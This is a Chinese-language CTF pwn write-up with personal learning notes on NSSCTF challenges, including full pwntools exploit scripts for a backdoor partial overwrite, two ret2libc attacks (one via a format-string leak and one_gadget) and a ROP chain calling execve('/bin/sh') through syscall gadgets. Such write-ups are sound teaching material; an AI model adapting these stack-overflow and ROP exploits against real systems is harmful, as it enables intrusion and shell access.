Hello_world 给了后门函数,基本的栈溢出 有pie
partial write + 栈对齐 exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import *import os context(arch='amd64' , os='linux' , log_level='debug' )if os.environ.get("ZELLIJ" ) == "0" : context.terminal = [ "zellij" , "action" , "new-pane" , "-d" , "right" , "-c" , "--" , "bash" , "-c" , ] def main (): offset = 0x20 + 8 addr_backdoor = 0x09C2 payload = b"A" * offset + p16(addr_backdoor) p = remote("node2.anna.nssctf.cn" , 28200 ) p.sendafter("Hello pwner!\n" ,payload) p.interactive()if __name__ == "__main__" : main()
ret2libc1 有点意思 在buy my shop函数处有栈溢出 可以控制函数执行流程进行ret2libc
没有开启pie 需要考虑栈对齐 因为没有开启pie,所以可以利用ret gadgets栈对齐
做这题我刚开始蠢了, 64位通过寄存器传递参数, 我一开始tm的还用栈传递了参数 结果是 参数传递顺序 rdi rsi rdx rcx r8 r9 寻找gadgets: 使用LibcSearcher的话本地可以打通 本地可以打通 但是远程无法打通,可能是不能找到正确的libc版本 (ps: libcsearcher最多只有10个吗?)
然而用题目所给的libc可以打通远程,却无法打通本地 是因为本地默认用的是系统的libc,而非远程libc exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 from pwn import *from LibcSearcher import *import os context(arch='amd64' , os='linux' , log_level='debug' )if os.environ.get("ZELLIJ" ) == "0" : context.terminal = [ "zellij" , "action" , "new-pane" , "-d" , "right" , "-c" , "--" , "bash" , "-c" , ] libc = ELF("./libc.so.6" ) exe = ELF('./attachment' )def conn (): if args.LOCAL: io = process([exe.path]) elif args.DEBUG: io = gdb.debug([exe.path]) else : io = remote("node2.anna.nssctf.cn" , 28203 ) return iodef preprocess (): io.sendlineafter("check youer money\n" , "7" ) io.sendlineafter("How much do you exchange?" , "100" ) io.sendlineafter("check youer money\n" , "5" )def main (): offset = 0x40 + 8 puts_plt = exe.plt["puts" ] puts_got = exe.got["puts" ] main = exe.symbols["main" ] ret_addr = 0x0000000000400579 pop_rdi_ret = 0x0000000000400d73 print ("puts_got: " + hex (puts_got)) payload1 = b'A' * offset + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main) global io io = conn() preprocess() io.sendlineafter("You can name it!!!\n" , payload1) input = io.recvuntil('\x7f' ) log.info(input ) print ("\n" ) puts_real_addr = u64(input [-6 :].ljust(8 ,b'\x00' )) print ("puts_real_addr: " ) log.info(hex (puts_real_addr)) libc_base = puts_real_addr - libc.symbols["puts" ] sys = libc_base + libc.symbols["system" ] bin_sh = libc_base + next (libc.search(b"/bin/sh" )) log.info('\n' ) log.info('libc_base: ' ) log.info(hex (libc_base)) log.info('\n' ) log.info("sys: " ) log.info(hex (sys)) log.info('\n' ) log.info("bin_sh: " ) log.info(hex (bin_sh)) log.info('\n' ) payload2 = b'A' * offset + p64(ret_addr) + p64(pop_rdi_ret) + p64(bin_sh) + p64(sys) preprocess() io.sendafter("You can name it!!!\n" , payload2) io.interactive()if __name__ == "__main__" : main()
ret2libc2 没有pie、canary 查ubuntu版本 先完成patchelf
发现用ropper找不到想要的gadgets
学习: flat([])函数 strip()函数 一步一步学ROP之linux_x64篇_找不到 pop rdi-CSDN博客 上面大佬文章写的很好
在libc中可以找到gadgets
然而 gadgets => libc基地址 => libc中的gadgets所以也没用 需要学习一些高级且细腻的操作
参考:PWN入门之通用gadgets_gadgets pwn-CSDN博客
记录一下python版本 我的wsl中pip3和pip都指向python3.10这一个python版本 但可能安装了多个版本(如上4个 默认只能使用python3, 即 指向的是python3.10这个pip/pip3所对应的版本
我的pwntools解析不了DEBUG命令行参数问题: TMD!直接换成别的参数名,如GDB就行了,我真是有点蠢了!(但是实测要大写!) 还以为是环境变量、vscode相关设置啥的,还折腾了半天环境变量、set,早知道先试下了 pwntools还是很强大的😭
期间的折腾:
期间学到一招 设置环境变量要在命令前面 在命令后面无效
leave指令: mov rsp rbp ==pop rbp== 实际上 rbp = [rbp] rsp = rbp + 8
做完下一题后又回来看一眼 还真是得从汇编中寻找gadgets呀 ret还是再传统的返回地址处
==注意!: rsp里面存的是栈地址,并不是真正的栈内容!==
从上面看, 我们可以控制rax为栈顶地址 => rdi为栈顶地址 => 栈顶地址对应我们想要的字符串地址 搞了半天,发现我们无法直接修改rdi为想要的字符串地址 最多只能修改rdi为==想要的字符串的地址的地址==
这个方向貌似不太行
我靠,哭了, 看了半天,以为字符串都是rodata 才发现是格式化字符串漏洞,程序逻辑还没看清就去找gadgets去了
覆盖栈内存后leave操作会破坏栈底 但是栈顶仍正常工作,分析后发现重点其实是rax 可结合这两块gadgets来使用 从
1 2 3 mov rdi,rax mov eax,0 call _printf
开始使用 避免了栈底被破坏的问题
从打印format切换成了打印buf
实验1 0x7fffa5385960 0x7fffa53859a0 0x7fffa5385998
有个问题是leave操作后栈顶地址太高了 格式化字符串在它的更低地址处 无法打印格式化字符串
看一眼溢出和栈 发现是够的 printf()识别到\x00会停止输出 成功一半
call = push ip+1 ; jmp
一般来说代码段可读可执行 data段和bss段可读可写不可执行 如果可执行,可直接写入shellcode并当作代码段执行,(又有地址 如果不可执行,可以考虑==栈迁移== 有数据段的地址,把数据段当作栈,把指令地址写到栈上
本地有一次失败: 远程打通 exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 from pwn import *import os context(arch='amd64' , os='linux' , log_level='debug' )if os.environ.get("ZELLIJ" ) == "0" : context.terminal = [ "zellij" , "action" , "new-pane" , "-d" , "right" , "-c" , "--" , "bash" , "-c" , ] libc = ELF("./libc.so.6" ) exe = ELF('./ret2libc2' )def conn (): if args.LOCAL: io = process([exe.path]) if args.GDB: gdb.attach(io) elif args.GDB: io = gdb.debug([exe.path], "b *main" ) else : io = remote("node2.anna.nssctf.cn" , 28348 ) return iodef main (): global io io = conn() offset = 0x30 + 8 offset1 = 0x20 offset2 = 2 + 8 puts_plt = exe.plt["puts" ] puts_got = exe.got["puts" ] main = exe.symbols["main" ] print ("puts_got: " , hex (puts_got)) call_puts = 0x40124A call_printf = 0x401227 addr_ret = 0x40101a addr_bss_rbp = 0x404090 payload = b'%6$s%p%p' + b'%p%p' + b'%pAA' + b'A' * 0x20 + p64(addr_bss_rbp) + p64(call_printf) + p64(puts_got) io.recvuntil("show your magic\n" ) io.sendline(payload) input = io.recvuntil('\x7f' ) log.info(input ) puts_real_addr = u64(input [-6 :].ljust(8 ,b'\x00' )) log.info(puts_real_addr) log.info(hex (puts_real_addr)) one_gadget = 0xebc81 libc_base = puts_real_addr - libc.symbols["puts" ] one_real_gadget = libc_base + one_gadget log.info(hex (libc_base)) log.info(hex (one_real_gadget)) offset = 0x30 addr_null = 0x404090 +0x40 payload = b'\x00' * offset + p64(addr_null) +p64(one_real_gadget) io.sendlineafter("show your magic\n" , payload) io.interactive()if __name__ == "__main__" : main()
真会布置栈吗? 64位小端 无canary 无pie 无NX
1 ssize_t sys_write (unsigned int fd, const char __user *buf, size_t count) ;
内核函数,将数据从缓冲区写入到文件描述符
1 ssize_t sys_read (unsigned int fd, char __user *buf, size_t count) ;
系统调用,将数据从文件描述符读入缓冲区
发现了一个伟大的gadgets 可以控制寄存器rdi、rsi、==r13==的值和程序的执行流程 可以将rdx清零控制程序的执行流程
syscall指令用于==触发系统调用== syscall指令及其参数 在x86_64架构中,syscall指令相关的寄存器:
rax 系统调用号
rdi、rsi、rdx、r10、r8、 r9:参数传递
rcx:返回地址
r11:标志寄存器
1 2 3 4 5 xor rax,rax ; 设置rax为0,sys_read xor rdi,rdi ; 设置rdi为0, fd 文件描述符 mov rsi,rsp ; buf mov edx,539 syscall ; 可见这里是调用了sys_read
execve系统调用号为59 想要 syscall => execve(‘/bin/sh’) 则syscall需要:
rax:设置为59,表示execve
rdi:设置为/bin/sh的地址
rsi:参数列表的地址,可以设置为0
rdx:一般设置为0,表示环境变量为NULL
根据上面的gadgets, 我们可以控制rsi、rdi的值 且有syscall指令的地址
接下来的重点是控制rax的值 交换==r13==和rax的值,并跳转到rsp存的地址继续执行
这样就同时控制了rax,rdi,rsi,(rdx先不管()
函数结束后跳到栈顶中地址,而非一般返回地址
这题还有一个点: 没有调用libc库函数! 无法泄漏libc
那就要改写一下内存中的数据了 这题没有main函数,都在_start函数里面
还有重量级信息: 该程序是静态链接 静态链接的程序,无法使用ret2libc来做!
测试1 测试2 每次栈的地址都是不同的
[!faq] 栈的地址是如何分配的? 受什么影响?
在gdb中栈地址是固定的
需要修改data段 sys_read: rax:0 rdi:0 rsi: addr_data rdx: >=8
本题有一个需要辨析的关键区别: jmp [rsp]和ret的区别 !! jmp [rsp]仅仅是指令跳转 对栈没有操作 而ret有 ret操作必须是栈顶,是跳到栈顶处的地址,不断ret,栈顶元素会不断出栈,是动态的 而jmp则不是,jmp是静态的
ret == jmp [rsp] + pop == pop rip jmp [rsp] == rip = [rsp]
即将jmp到ret 栈顶是ret 刚jmp到ret: 栈顶仍是ret
ret1次: 。。。
上面没管rdx,实际上rdx保留(0x539) ,足够大满足要求 成功拿到系统调用 并成功在.data段写入
没有拿到shell 原因是envp未清零 需要清零 => 需要将rdx清零
清零后: exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 from pwn import *import os context(arch='amd64' , os='linux' , log_level='debug' )if os.environ.get('ZELLIJ' ) == "0" : context.terminal = [ "zellij" , "action" , "new-pane" , "-d" , "right" , "-c" , "--" , "bash" , "-c" , ] exe = ELF('./attachment' )def conn (): if args.LOCAL: io = process([exe.path]) elif args.GDB: io = gdb.debug([exe.path]) else : io = remote("node2.anna.nssctf.cn" , 28266 ) return iodef main (): global io io = conn() pop_5 = 0x401017 xchg_rax_r13 = 0x40100C addr_syscall = 0x401077 ret = 0x401013 addr_data = 0x402000 xor_rdx_rdx = 0x401021 payload = p64(ret) + p64(pop_5) + p64(addr_data) + p64(0 ) + p64(0xdeadbeef ) + p64(0 ) + p64(ret) + p64(xchg_rax_r13) + p64(ret) + p64(addr_syscall) payload += p64(ret) + p64(pop_5) + p64(0 ) + p64(addr_data) + p64(0xdeadbeef ) + p64(59 ) + p64(ret) + p64(xchg_rax_r13) + p64(ret) + p64(xor_rdx_rdx) + p64(addr_syscall) io.sendline(payload) io.sendline(b'/bin/sh\x00' ) io.interactive()if __name__ == "__main__" : main()
my_vm
VMpwn总结 - CH13hh - 博客园
scanf()占位符%hd short型:2字节
getchar() 从标准输入读取单个字符
[!tip] getchar()的作用 scanf的行为: 不会处理输入缓冲区的换行符或空白符, 这些字符会残留在缓冲区中, 而使用getchar()可用来清理换行符\n(残留字符)
有canary、无pie
这题需要清晰地逆向memory :在bss段定义的一大段内存,每个单位4字节
int reg[10] 也是一段bss内存空间 代表寄存器